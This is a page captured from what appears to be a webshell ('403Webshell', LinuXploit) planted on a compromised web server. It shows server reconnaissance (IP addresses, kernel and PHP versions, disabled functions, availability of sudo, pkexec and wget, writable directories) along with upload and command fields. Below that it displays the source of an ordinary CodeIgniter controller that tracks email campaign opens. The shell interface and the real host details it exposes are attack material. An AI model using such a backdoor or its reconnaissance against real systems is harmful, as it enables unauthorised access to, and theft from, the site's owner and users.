403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/nick/codeigniter/application/controllers/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/nick/codeigniter/application/controllers/webadmin/Bk_email_tracking.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

use Illuminate\Database\Capsule\Manager as DB;

class Bk_email_tracking extends MY_Controller
{
    private $scope = 'email_tracking';

    public function __construct()
    {
        parent::__construct();

    }

    public function page_setting($permission)
    {
        $page_setting = array(
            'controller' => current_controller(),
            'scope' => __('電郵推廣數據'),
            'scope_code' => $this->scope,
            'permission' => $permission
        );

        validate_user_access($page_setting['permission']);

        return $page_setting;
    }

    public function index($table_name, $table_id)
    {
        $data['page_setting'] = $this->page_setting(array(
            'view_' . $this->scope
        ));

        $result = Email_tracking_model::where('status', 1);
        if (!empty($table_name)) {
            $result = $result->where('table_name', $table_name);
        }
        if (!empty($table_id)) {
            $result = $result->where('table_id', $table_id);
        }
        $result = $result->orderBy('created_at', 'DESC')->get();

        $data['total_email'] = 0;
        $data['opened_email'] = 0;
        if (!empty($result)) {
            foreach ($result as $key => $row) {
                $data['total_email']++;
                if($row['open']){
                    $data['opened_email']++;
                }
                switch ($row['type']) {
                    case 'EDM TEST EMAIL':
                        $table_info = Edm_model::find($row['table_id']);
                        $data['email_tracking_index'][$key]['type'] = __('測試電郵推廣');
                        $data['email_tracking_index'][$key]['desc'] = $table_info['title_tc'];
                        break;
                    case 'EDM EMAIL':
                        $table_info = Edm_model::find($row['table_id']);
                        $data['email_tracking_index'][$key]['type'] = __('電郵推廣');
                        $data['email_tracking_index'][$key]['desc'] = $table_info['title_tc'];
                        break;
                    case 'RESEND EDM EMAIL':
                        $table_info = Edm_model::find($row['table_id']);
                        $data['email_tracking_index'][$key]['type'] = __('重發電郵推廣');
                        $data['email_tracking_index'][$key]['desc'] = $table_info['title_tc'];
                        break;
                }

                $data['email_tracking_index'][$key]['email'] = $row['email'];
                $data['email_tracking_index'][$key]['open'] = ($row['open'] == 1 ? __('已開啟') . '<br>' . $row['open_at'] : '未開啟');
                $data['email_tracking_index'][$key]['send_date'] = $row['created_at'];
            }
        }

        $edm_list = Edm_model::get();
        $data['edm_options'] = '<option value="">'.__('請選擇').'</option>';
        if (!empty($edm_list)) {
            foreach ($edm_list as $key => $row) {
                $data['edm_options'] .= '<option value="'.$row['id'].'" '.($table_name=='edm' && $table_id == $row['id'] ?'selected' :'').'>'.$row['title_tc'] . ($row['status'] == '0' ? __('失效') : '').'</option>';
            }
        }

        $data['opened_percentage'] = round($data['opened_email'] / $data['total_email'] * 100, 2).'%';

        $GLOBALS["datatable"] = 1;
        $GLOBALS["select2"] = 1;
        $this->load->view('webadmin/' . $this->scope . '_index', $data);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit